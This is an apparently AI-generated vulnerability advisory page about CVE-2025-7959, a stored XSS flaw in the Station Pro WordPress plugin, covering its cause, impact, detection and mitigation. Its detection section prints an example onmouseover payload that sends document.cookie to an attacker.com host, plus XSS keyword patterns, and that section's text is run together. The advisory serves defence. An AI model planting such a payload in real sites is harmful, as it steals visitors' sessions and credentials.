
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-7959 is a Stored Cross-Site Scripting (XSS) vulnerability in the Station Pro plugin for WordPress, affecting all versions up to and including 2.4.2. The flaw exists in the width and height parameters due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. It was published on July 24, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability arises because the Station Pro plugin fails to properly sanitize user-supplied input in the width and height parameters before storing and rendering them in page output. An authenticated attacker with at least Contributor-level access can craft a malicious shortcode or block configuration containing JavaScript payloads in these parameters; the payload is stored in the database and executed in the browser of any user who subsequently visits the affected page (Red Hat CVE, Wordfence).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, enabling session hijacking, credential theft, unauthorized administrative actions, or redirection to malicious sites. The scope is marked as Changed, meaning the injected script can affect resources beyond the plugin's own security context. Confidentiality and integrity are both impacted at a low level, while availability is not directly affected (Red Hat CVE).
No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-7959 as of the available data. The EPSS score is approximately 0.027%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).
width or height parameter (e.g., width="1" onmouseover="document.location='https://attacker.com/steal?c='+document.cookie" or a <script> tag if the field is rendered unsanitized).wp-admin/post.php or REST API endpoints from Contributor-level accounts containing unusual values in width or height fields (e.g., values containing <script>, onerror, onmouseover, or encoded JavaScript).wp_posts or wp_postmeta tables associated with Station Pro plugin content.station-pro plugin directory.WordPress site administrators should update the Station Pro plugin to a version beyond 2.4.2 that includes a fix for this vulnerability, once a patched release is made available by the plugin author. In the interim, restricting Contributor-level user registration and limiting who can create or edit posts using the Station Pro plugin reduces the attack surface. Deploying a Web Application Firewall (WAF) with XSS filtering rules — such as those provided by Wordfence — can help detect and block exploitation attempts (Wordfence).
Wordfence included CVE-2025-7959 in its weekly WordPress vulnerability report for July 21–27, 2025, highlighting it as part of a broader set of plugin vulnerabilities tracked that week. Red Hat also published a CVE advisory entry for this issue. No significant independent researcher commentary or broader media coverage has been identified beyond standard vulnerability database aggregation (Wordfence, Red Hat CVE).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."